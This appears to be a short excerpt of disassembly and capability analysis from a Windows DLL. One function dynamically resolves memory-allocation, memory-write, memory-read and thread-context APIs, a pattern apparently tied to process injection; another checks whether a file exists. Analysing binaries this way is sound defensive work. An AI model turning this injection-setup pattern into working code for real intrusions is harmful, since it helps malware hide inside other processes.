call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x18001235e
lea rdx, str.ZwAllocateVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180149a28], rax
test rax, rax
je 0x18001235e
lea rdx, str.ZwWriteVirtualMemory
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180149a20], rax
test rax, rax
je 0x18001235e
lea rdx, str.ZwReadVirtualMemory
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180149a18], rax
test rax, rax
je 0x18001235e
lea rdx, str.ZwGetContextThread
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180149a08], rax
test rax, rax
je 0x18001235e
lea rdx, str.ZwSetContextThread
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180149a10], rax
add rsp, 0x20
pop rbx
ret
Function at 0x1800124e8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1800124fb
xor eax, eax
jmp 0x180012504
movzx eax, al
shr eax, 4
and eax, 1
add rsp, 0x28
ret